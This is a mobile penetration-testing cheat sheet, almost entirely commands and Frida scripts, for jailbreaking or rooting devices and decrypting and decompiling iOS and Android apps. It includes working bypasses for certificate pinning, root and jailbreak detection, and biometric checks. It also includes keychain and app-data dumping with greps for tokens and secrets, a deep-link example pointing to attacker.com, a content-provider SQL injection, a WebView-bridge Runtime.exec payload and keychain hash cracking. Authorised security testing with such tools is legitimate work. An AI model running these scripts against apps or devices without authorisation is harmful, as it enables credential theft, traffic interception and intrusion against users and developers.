Mobile Pentesting

# macOS host
brew install palera1n/tap/palera1n

# Put device in DFU (hold side + vol down, then release side, keep vol down 5s)
sudo palera1n -c            # create fakefs
sudo palera1n -f            # actual jailbreak boot
# When the device reboots into the loader, install Sileo from the on-device UI.

# SSH over USB (iproxy forwards device:22 → localhost:2222)
brew install libimobiledevice usbmuxd
iproxy 2222 22 &
ssh root@localhost -p 2222            # default password: alpine  — CHANGE IT.
passwd

# CLI — create an x86_64 AOSP Pixel emulator
sdkmanager "system-images;android-34;default;x86_64"
avdmanager create avd -n pixel_root -k "system-images;android-34;default;x86_64" -d pixel_6

# Start with writable system (needed to push Frida server into /data/local/tmp at boot)
emulator -avd pixel_root -writable-system -no-snapshot

# In another shell
adb root
adb shell whoami            # → root
adb remount                 # if you need to write /system

# Pixel 6/7/8 with stock Android 14 — unlock bootloader, flash Magisk patched boot.img
# GrapheneOS devices are cheap + unlockable + supported for much longer than stock.
fastboot flashing unlock
fastboot flash boot magisk_patched.img

# Jailbroken device, with Frida server installed from Sileo and app installed
git clone https://github.com/AloneMonkey/frida-ios-dump
cd frida-ios-dump
pip3 install -r requirements.txt

# List installed apps to find the bundle ID
./dump.py -l
# frida.core.Device.enumerate_applications → bundle IDs

# Dump
./dump.py com.example.target -o target.ipa

unzip target.ipa -d target/
cd target/Payload/Target.app
otool -l Target | grep -A4 LC_ENCRYPTION_INFO   # cryptid should be 0 now

# Architectures present
lipo -info Target
# Architectures in the fat file: Target are: arm64 arm64e

# Load commands / libraries
otool -L Target
otool -l Target | less

# Objective-C class dump (requires decrypted binary)
class-dump -H Target -o headers/
ls headers/ | head
# MyViewController.h  APIClient.h  Crypto.h  ...

# Swift — class-dump-swift is unmaintained. Use Hopper, Ghidra, IDA, or:
nm -U Target | grep -i swift | head

# Get the APK off the device (even if the app was installed as a split AAB)
adb shell pm path com.example.target
# package:/data/app/~~random==/com.example.target-1/base.apk
# package:/data/app/~~random==/com.example.target-1/split_config.arm64_v8a.apk

adb pull /data/app/~~random==/com.example.target-1/base.apk

# Decompile to smali + resources + AndroidManifest.xml
apktool d base.apk -o base_out

# Decompile to Java
d2j-dex2jar base.apk -o base.jar
jadx-gui base.apk            # my default — batteries included

# Native libraries
ls base_out/lib/arm64-v8a/
# libnative.so  libsqlcipher.so  libflutter.so  ...

# Read the decoded manifest
xmllint --format base_out/AndroidManifest.xml | less

pip3 install frida-tools                    # host
# iOS: Frida package from Sileo (jailbreak)
# Android: push frida-server to /data/local/tmp

# Android
wget https://github.com/frida/frida/releases/latest/download/frida-server-16.4.8-android-x86_64.xz
xz -d frida-server-16.4.8-android-x86_64.xz
adb push frida-server-16.4.8-android-x86_64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"

# Verify
frida-ps -U | head

# Spawn and early-attach (better for startup hooks)
frida -U -f com.example.target -l hook.js --no-pause

# Attach to a running PID
frida -U -n Target -l hook.js

# List loaded modules
frida -U -n Target -e 'Process.enumerateModules().forEach(m => console.log(m.name, m.base))'

// hook.js
Java.perform(function () {
    const cls = Java.use('com.example.target.crypto.Cipher');

    cls.class.getDeclaredMethods().forEach(function (m) {
        const name = m.getName();
        cls[name].overloads.forEach(function (ovl) {
            ovl.implementation = function () {
                const args = Array.prototype.slice.call(arguments);
                console.log('[*] ' + name + '(' + args.join(', ') + ')');
                const ret = ovl.apply(this, arguments);
                console.log('    → ' + ret);
                return ret;
            };
        });
    });
});

// hook.js
if (ObjC.available) {
    const cls = ObjC.classes.APIClient;
    Interceptor.attach(cls['- sendRequest:'].implementation, {
        onEnter: function (args) {
            // args[0] = self, args[1] = selector, args[2] = first arg
            const req = new ObjC.Object(args[2]);
            console.log('[+] sendRequest: ' + req.URL().absoluteString());
        },
        onLeave: function (ret) {
            const obj = new ObjC.Object(ret);
            console.log('    → ' + obj.toString());
        }
    });
}

const addr = Module.findExportByName('Target', '$s6Target10encryptDataySS_tF');
Interceptor.attach(addr, {
    onEnter: function (args) { console.log('encryptData called'); },
    onLeave: function (ret) { console.log('→', ret); }
});

pip3 install objection

# Attach (spawn)
objection --gadget com.example.target explore

# Inside the REPL:
android hooking list classes                           # all loaded classes
android hooking search classes Cipher                  # filter
android hooking watch class com.example.Cipher         # hook every method
android hooking watch class_method com.example.Cipher.encrypt --dump-args --dump-return --dump-backtrace

android sslpinning disable                             # try every known pinning bypass
android root disable                                   # bypass common root detection
android heap search instances com.example.User         # live object instances
android heap print fields 0x7f12ab34                   # dump fields of an object

ios sslpinning disable
ios jailbreak disable
ios keychain dump
ios nsuserdefaults get
ios cookies get

memory list modules
memory search --string "api_key"

# Export Burp CA as DER, convert to PEM, hash it the way Android expects
openssl x509 -inform DER -in cacert.der -out burp.pem
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
# 9a5ba575 → filename on device

cp burp.pem 9a5ba575.0

# Push into system store (requires writable /system — AOSP emulator or Magisk)
adb root && adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
adb reboot

Java.perform(function () {
    const CertPinner = Java.use('okhttp3.CertificatePinner');
    CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function (a, b) {
        console.log('[+] CertificatePinner.check bypassed → ' + a);
        return;
    };
    CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function () { return; };
});

Java.perform(function () {
    const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    const SSLContext = Java.use('javax.net.ssl.SSLContext');

    const TrustManager = Java.registerClass({
        name: 'com.sensepost.test.TrustManager',
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function () {},
            checkServerTrusted: function () {},
            getAcceptedIssuers: function () { return []; }
        }
    });

    const TrustManagers = [TrustManager.$new()];
    const SSLContext_init = SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom');
    SSLContext_init.implementation = function (kms, tms, sr) {
        console.log('[+] SSLContext.init — swapping TrustManager');
        SSLContext_init.call(this, kms, TrustManagers, sr);
    };
});

// reFlutter or a direct pattern scan — offsets change per Flutter version
const flutter = Module.findBaseAddress('libflutter.so');

// Pattern for ssl_verify_peer_cert preamble on arm64 (Flutter 3.x)
Memory.scan(flutter, 0x500000, 'ff 03 02 d1 fc 6f 01 a9 fa 67 02 a9', {
    onMatch: function (addr) {
        console.log('[+] ssl_verify_peer_cert at ' + addr);
        Interceptor.attach(addr, {
            onLeave: function (ret) {
                ret.replace(0x0);          // SSL_VERIFY_NONE
            }
        });
        return 'stop';
    },
    onComplete: function () {}
});

pip3 install reflutter
reflutter base.apk
# Prompts for your Burp IP, rewrites the TLS trust routine, signs the APK.

// Hook BoringSSL's SSL_set_custom_verify or SSL_CTX_set_verify
const mod = 'Target';   // or 'libboringssl.dylib' if dynamically linked
Interceptor.attach(Module.findExportByName(mod, 'SSL_set_verify'), {
    onEnter: function (args) {
        args[1] = ptr(0);        // mode = SSL_VERIFY_NONE
    }
});

# Android: decompile, edit smali, rebuild + sign
apktool d base.apk -o src
# Find the TrustManager class, replace checkServerTrusted body with `return-void`
apktool b src -o patched.apk
zipalign -p 4 patched.apk aligned.apk
apksigner sign --ks mykeystore.jks aligned.apk

# Burp on 8080, listen on all interfaces
# Device → Wi-Fi → Proxy → Manual → host.docker.internal:8080

# Cert must be installed as described above, then:
curl -v -x http://127.0.0.1:8080 https://example.com --cacert ~/.mitmproxy/burp.pem

# For a device without proxy support, use mitmproxy transparent + iptables
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy --mode transparent --showhost

# Pull all intent-filters from the manifest
grep -A3 'intent-filter' base_out/AndroidManifest.xml | grep -E 'scheme|host|pathPrefix'

adb shell am start -a android.intent.action.VIEW \
  -d "exampleapp://open?url=https://attacker.com" \
  com.example.target

# Install drozer agent on the device, start agent, connect from host
adb forward tcp:31415 tcp:31415
drozer console connect

dz> run app.package.list -f target
dz> run app.package.attacksurface com.example.target
dz> run app.activity.info -a com.example.target
dz> run app.activity.start --component com.example.target com.example.target.DebugActivity
dz> run app.provider.info -a com.example.target
dz> run app.provider.query content://com.example.target.provider/users/
dz> run scanner.provider.sqlinjection -a com.example.target
dz> run scanner.provider.traversal -a com.example.target

# If query goes through a selection string without parameterisation:
adb shell content query --uri content://com.example.target.provider/users \
  --projection "* FROM sqlite_master WHERE 1=1--"

adb shell am start -n com.example.target/.Launcher \
  --es "next_intent" "intent:#Intent;component=com.example.target/.PrivateActivity;end"

# From an IPA
plutil -convert xml1 -o - Payload/Target.app/Info.plist | grep -A5 CFBundleURLSchemes

# Over SSH
/usr/bin/uiopen "targetapp://do?what=openfile&path=/etc/hosts"

# Or from the host, via mobiledevice or ideviceinstaller scripts

curl -s https://example.com/.well-known/apple-app-site-association | jq

# Objection REPL on a jailbroken device
ios keychain dump

# Or from the CLI
frida -U -f com.example.target -l keychain-dump.js --no-pause
# see Frida CodeShare: "ios-keychain-dumper"

# Find app container
ssh root@localhost -p 2222 "find /var/mobile/Containers -maxdepth 4 -iname '*example*'"

# Interesting files
#  Documents/    — user data
#  Library/Preferences/*.plist  — NSUserDefaults
#  Library/Caches/  — API response cache, often unencrypted
#  Library/WebKit/ — WebView state incl. cookies

# Debuggable app → run-as
adb shell run-as com.example.target
cd /data/data/com.example.target
ls -R

# Non-debuggable, rooted device → root shell
adb shell su -c 'tar -cf /sdcard/target.tar /data/data/com.example.target'
adb pull /sdcard/target.tar

strings -n 8 shared_prefs/*.xml | grep -iE 'token|key|secret|password'
grep -r 'Basic ' databases/

Java.perform(function () {
    const Cipher = Java.use('javax.crypto.Cipher');
    Cipher.doFinal.overload('[B').implementation = function (input) {
        const out = this.doFinal(input);
        console.log('[cipher] ' + this.getAlgorithm() + ' in=' + bytesToHex(input) + ' out=' + bytesToHex(out));
        return out;
    };
});

webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);                // → file:// reads
webView.getSettings().setAllowFileAccessFromFileURLs(true);    // → cross-origin from file://
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // → even worse
webView.addJavascriptInterface(new JSBridge(), "bridge");      // → JS to Java RCE
webView.getSettings().setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW);

bridge.getClass().forName('java.lang.Runtime')
  .getMethod('exec', java.lang.String)
  .invoke(bridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id');

config.preferences.javaScriptEnabled = YES;
[webView loadHTMLString:untrustedHTML baseURL:nil];   // stored/reflected XSS into app context
[webView evaluateJavaScript:untrustedJS ...];         // direct JS sink
[webView.configuration.userContentController addScriptMessageHandler:... name:@"bridge"];

Java.perform(function () {
    const strings_to_block = ['su', 'busybox', 'magisk', 'supersu', 'xposed'];

    const File = Java.use('java.io.File');
    File.exists.implementation = function () {
        const path = this.getAbsolutePath();
        for (const s of strings_to_block) {
            if (path.toLowerCase().indexOf(s) !== -1) {
                console.log('[root-bypass] File.exists(' + path + ') → false');
                return false;
            }
        }
        return this.exists();
    };

    const Runtime = Java.use('java.lang.Runtime');
    Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
        if (cmd.indexOf('su') !== -1 || cmd.indexOf('which') !== -1) {
            throw Java.use('java.io.IOException').$new('blocked by pentester');
        }
        return this.exec(cmd);
    };
});

// Hide common jailbreak files from fopen / stat / access
const paths_to_hide = ['/Applications/Cydia.app', '/usr/sbin/sshd', '/bin/bash', '/etc/apt', '/private/var/lib/apt/'];
['fopen', 'stat', 'access', 'lstat'].forEach(function (fn) {
    const f = Module.findExportByName(null, fn);
    if (!f) return;
    Interceptor.attach(f, {
        onEnter: function (args) {
            const path = Memory.readUtf8String(args[0]);
            if (paths_to_hide.some(p => path.indexOf(p) !== -1)) {
                this.hide = true;
                args[0] = Memory.allocUtf8String('/does/not/exist');
            }
        }
    });
});

// iOS — always pretend biometric succeeded
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
    onEnter: function (args) {
        const block = new ObjC.Block(args[4]);
        const original = block.implementation;
        block.implementation = function (success, error) {
            original(true, null);
        };
    }
});

# Find the running PID of a package (Android)
adb shell pidof com.example.target

# Dump memory of a live process
frida -U -n Target -e 'Process.enumerateRanges("rw-").forEach(r => send(r))'

# Intercept every HTTP request made from a WKWebView
frida -U -f com.example.target -l wkwebview-log.js --no-pause

# Install an APK forcibly
adb install -r -t -d base.apk         # r=reinstall, t=test, d=downgrade

# Extract an APK from Play for analysis without installing
apkeep -a com.example.target .

# Decrypt iOS KeyChain backup
hashcat -m 16700 keychain.hash wordlist.txt

# Inspect Android native libraries for JNI methods
nm -D base_out/lib/arm64-v8a/libnative.so | grep Java_

# Find iOS binary's PIE / stack canary / ARC state
otool -hv Target | head